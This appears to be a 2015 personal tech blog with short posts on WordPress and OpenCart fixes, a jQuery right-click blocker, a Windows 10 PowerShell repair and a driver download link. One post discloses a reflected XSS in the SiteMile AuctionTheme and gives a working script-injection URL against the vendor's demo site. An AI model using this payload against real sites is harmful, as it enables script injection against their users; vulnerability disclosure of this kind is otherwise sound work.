Thursday, 26 November 2015

FIX - Wordpress Title not showing up in the home page.


If you have WordPress wp_title() returning empty/blank content on index page you can try to modify your theme with the following code for the title:



    <title><?php is_front_page() ? bloginfo('name') : wp_title(''); ?></title>

It will use the blog name as title for the front page.


Tuesday, 24 November 2015

How to disable mouse right click. Disable image drag and save. Jquery

Jquery disable mouse right click. Disable image drag and save.

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.0.0-alpha1/jquery.min.js" type="text/javascript"></script>

<script type="text/javascript">
$(document).ready(function(){$('img').on('contextmenu',function(e){return false;});$('img').on('dragstart', function(e){return false;});});
</script>




FIX Opencart - Warning: vsprintf(): Too few arguments in /admin/controller/dashboard/activity.php on line 19


Warning: vsprintf(): Too few arguments in /admin/controller/dashboard/activity.php on line 19


Backup before doing anything!



The problem can be probably missing values in the data of the  customer's activity or the table that is missing after an upgrade.


You can look in your table and find the problem in a serialized (before 2.1.0.1) value or convert the values (happens when upgrading to 2.1.0.1) in a json readable format.
If you just don't care about the activities data (it's not a big issue) you can truncate the table and accept all the new data.

TRUNCATE TABLE `oc_customer_activity`;

In the worst case you can recreate the customer_activity table
DROP TABLE IF EXISTS `oc_customer_activity`;
CREATE TABLE `oc_customer_activity` (
`activity_id` int(11) NOT NULL AUTO_INCREMENT,
`customer_id` int(11) NOT NULL,
`key` varchar(64) NOT NULL,
`data` text NOT NULL,
`ip` varchar(40) NOT NULL,
`date_added` datetime NOT NULL,
PRIMARY KEY (`activity_id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;



Friday, 13 November 2015

wordpress sitemile auctiontheme - XSS


The xss can be used almost anywhere

onlinedemo.sitemile.com/auction/advanced-search/?auction_ID=&term=aaa&price_min=&price_max=&zip_code=&radius=&auction_location_cat=&auction_cat_cat=&ref-search

example:
http://onlinedemo.sitemile.com/auction/advanced-search/?auction_ID=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E


Wednesday, 11 November 2015

Windows 10 - Start button is not working, windows photo image viewer is crashing, cannot close applications from the taskbar.



I really don't know what happened but I got several problems with a fresh installation of windows 10:

  • Start button not working
  • windows photo image viewer crashing
  • cannot close applications from the taskbar
  • SFC /scannow - not working
  • ... and so on

Use explorer (or from the task manager or win button+R) to run cmd.exe (as administrator) from %windir%\system32 and then run "powershell.exe" otherwise run directly %windir%\winsxs\powershell.exe (as administrator).

Paste the following string in the powershell and wait





Get-AppXPackage -AllUsers | Foreach {Add-AppxPackage -DisableDevelopmentMode -Register "$($_.InstallLocation)\AppXManifest.xml"}


I suppose that it should re-register the installed Apps from the xml manifests.








references:
http://www.thewindowsclub.com/start-menu-does-not-open-windows-10
https://technet.microsoft.com/en-us/library/hh856044.aspx?f=255&MSPPError=-2147217396
 


Wednesday, 4 November 2015

tp-link tl-wn723n - ic 8853a USB\VID_0BDA&PID_8179 Driver Download

USB\VID_0BDA&PID_8179 Driver Download
tp-link  tl-wn723n - ic 8853a USB\VID_0BDA&PID_8179 Driver Download

All the drivers that I've downloaded/tested from the official pages seem to not work.
After searching a little bit I've found that this driver, from medion, works without problem.
http://download.medion.com/downloads/treiber/wlan_e421xw8x.exe

Twitter Delicious Facebook Digg Stumbleupon Favorites More